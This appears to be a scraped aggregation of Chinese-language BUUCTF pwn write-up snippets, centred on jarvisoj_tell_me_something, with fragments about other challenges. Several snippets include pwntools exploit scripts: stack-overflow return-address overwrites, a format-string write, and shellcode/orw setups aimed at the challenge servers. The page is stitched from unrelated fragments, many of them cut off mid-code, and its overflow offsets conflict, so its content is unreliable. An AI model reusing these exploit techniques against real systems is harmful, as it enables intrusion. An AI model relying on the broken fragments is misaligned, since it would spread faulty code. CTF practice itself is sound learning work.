[BUUCTF-pwn]——jarvisoj_tell_me_something

BUUCTF：jarvisoj_tell_me_something0x01 文件分析0x02 运行0x03 IDA0x04 思路0x05 exp 0x01 文件分析 仅开启了栈不可执行保护 0x02 运行 只是输入一条message 0x03 IDA good_game函数将flag.txt内容输出 0x04 思路 是一道简单的栈溢出题，知道覆盖长度即可，gdb调试 发现输入message的地址到返回地址的长度为0x88字节 0x05 exp #!/usr/bin/python

前言 今天心情不错，人最大的敌人真的就是自己！！！ 好久没学PWN和逆向了，今天写一篇关于CTF中PWN的文章回忆一下。本文主要讲的是利用栈溢出的基础PWN，分别有使用shellcode类型、满足函数条件类型及使用软件自带system函数类型，其中自带system函数的类型软件因为传参方式不同进而分为32bit与64bit的软件。 满足函数条件类型 很low的命名...

jarvisoj_tell_me_something 附件 步骤： 例行检查，64位程序，开启了NX保护 运行一下程序，看看程序的大概流程 64位ida载入，shift+f12检索程序里的字符串 看到了flag.txt关键子，双击跟进，找到了程序里的后门，flag_addr=0x400620 从main函数开始看程序 输入点的v4明显的溢出漏洞，利用它覆盖返回地址为flag_addr的地址读出flag 这边有一个注意点 看汇编发现这个程序的结尾处跟平常函数的结尾不一样没有leave 这道题

64位程序，开启了NX保护 400620 from pwn import * r=remote('node4.buuoj.cn',29273) flag_addr=0x400620 payload='a'*(0x88)+p64(flag_addr) r.sendline(payload) r.interactive() 这道题需要注意的一点是没有返回 这是其栈结构 所以这道题直接溢出0x88即可 ...

【BUUCTF】jarvisoj_fm 格式化字符串 exp： from pwn import* r=remote('node3.buuoj.cn',27988) x=0x0804A02C offest=11 payload=p32(x)+'%11$n' payload=payload.ljust(0x50,'p') r.send(payload) r.interactive() 【BUUCTF】jarvisoj_tell_me_something 栈溢出 exp： from pwn import* r=

那就很简单了，溢出指向漏洞函数即可，但此题有个小坑，其实最开始学pwn时会通过gdb查找溢出大小，但后面懒了就直接通过IDA查看，但IDA并不一定准确，并且题目本身也会有坑，比如该题。但本题，main函数没有push ebp的操作，所有溢出时不需要多加8字节ebp位置。

read有栈溢出flag.txt进行栈溢出将返回地址覆盖为fopen函数地址。

buuctf ----- jarvisoj_tell_me_something 运行程序得 使用64IDA查看程序 可以看到存在溢出漏洞 查看字符串，发现flag.txt 存在后门函数，该函数的含义是输出flag 思路：改变ret addr 为good_game函数的地址。 编写exp from pwn import* io = remote("node4.buuoj.cn",29817) bin_addr = 0x400620 payload = 'a'*0x8c+p64(bin_addr)

BUUCTF——warmup_csaw_2016 题目地址：https://buuoj.cn/challenges 题目： 管他三七二十一，先将文件下载下来再说。老规矩，现在Linux上用checksec看看文件。64位，Stack、NX、PIE都没有开，应该是栈溢出的题。 赶快 go go go 去window 上用IDA反汇编看看，看到返回的是gets函数，一个典型的可以利用栈溢出覆盖的地方。其他没什么有用的信息。 按Shift + F12，看一下字符串。不看不知道一看有惊喜。cat flag.

[BUUCTF-pwn]——ciscn_2019_n_3 结构体： //该结构体仅仅是选择字符串的时候的结构体 struct chunk { void *rec_str_print(); void *rec_str_free(); char *str; } //该结构体仅仅是选择数字的时候的结构体 struct chunk { void *rec_int_print(); void *rec_int_free(); int number; } 这道题目就是简单的u

[BUUCTF-pwn]——ciscn_2019_n_8 题目地址:https://buuoj.cn/challenges#ciscn_2019_n_8 题目 上去checksec一下,吓一跳保护基本全开了。 在IDA中一看，开心了。如此简单　只需要v[13] ==17 就好。因为var是以字符串的形式输入的。所以exploit如下: exploit from pwn import * p = remote("node3.buuoj.cn",29772) p.sendline("aaaa"*13 +

[BUUCTF-pwn]——jarvisoj_level0 题目地址：https://buuoj.cn/challenges#jarvisoj_level0 题目： 还是先下载下来在Linux上checksex一下，基本确实又是栈溢出了。 64位，所以我们用64位的IDA打开，没什么有用的信息，点开vulnerable_function函数 发现栈溢出的read函数，前面为0意味着标准读入，后面的长度也可以。没毛病就是这个地方了。 再翻翻其他函数，发现了我们想要的system函数。找到位置，和需要覆

[BUUCTF-pwn]——ciscn_2019_es_2 题目地址: https://buuoj.cn/challenges#ciscn_2019_es_2 这是一道栈劫持的题,第一次写这种题的题解写的详细一点。 栈劫持 or 栈迁移 栈劫持也可以称为栈迁移，用来解决栈本身可以利用的空间不够用，一般是溢出空间不够用,没办法有效构造rop链。这个时候我们可以通过劫持ebp的方式，利用leave 和 ret两个汇编指令来做到栈劫持(栈迁移)。 leave 等价于 mov ebp, esp; pop

[BUUCTF-pwn]——others_shellcode 题目地址: https://buuoj.cn/challenges#others_shellcode peak 小知识 写这道题之前, 大家首先要了解, 想要获得一个shell, 除了system("/bin/sh") 以外, 还有一种更好的方法, 就是系统调用中的 execve("/bin/sh", NULL, NULL)获得shell。我们可以在 Linxu系统调用号表 中找到对应的系统调用号,进行调用, 其中系统调用号用 eax 储存

[BUUCTF-pwn]——wdb2018_guess 这个漏洞叫什么来着, 好像是stack smash, 具体就是主动触发canary保护来达到自己的目的. 这道题最后我也有一个小疑问, 这个程序为什么会莫名其妙执行三次. 嘶!!! 一个常见的保护开启NX canary RELRO 在IDA中看看, 那个buf就是我们要的flag 先主动触发一下canary看看会发送什么. 输出的是argv[0], 同时程序会再次执行,发现会重复执行三次. 思路 思路来了 利用主动触发canary保护, 调用**

[BUUCTF-pwn]——pwnable_orw 第一次碰到orw的问题，所谓orw就是指你的系统调用被禁止了，不能通过子进程去获得权限和flag，只能在该进程通过 open , read ,write来得到flag 这个时候可以通过seccomptools，来查看 注意看到prctl就是将系统调用给你禁止了 exploit from pwn import * context.arch = 'i386' p = remote('node3.buuoj.cn',28626) shellcode = she

[BUUCTF-pwn]——ciscn_2019_n_1 [BUUCTF-pwn]——ciscn_2019_n_1思路一 —— 覆盖局部变量思路二 —— 覆盖返回地址 题目地址：https://buuoj.cn/challenges#ciscn_2019_n_1 题目： 老规矩下载下来后，在Linux上checksec一下，64位，并且没有开启栈保护，意味着我们可以利用栈溢出 在IDA中看一下，main函数里面没有什么可以利用的 双击func函数看看，就是我们想要的。 思路一 —— 覆盖局部变量

[BUUCTF-pwn]——ciscn_2019_c_1 题目地址：https://buuoj.cn/challenges#ciscn_2019_c_1 题目： 下载下来checksec一下 再IDA上面看一下，利用shift + f12看下字符串，发现没有我们想要的字符串。以为是ret2shellcode,结果弄了半天不可以。重新看一遍发现开启了NX保护，原来是ret2libc类型的，呜呜呜。 ...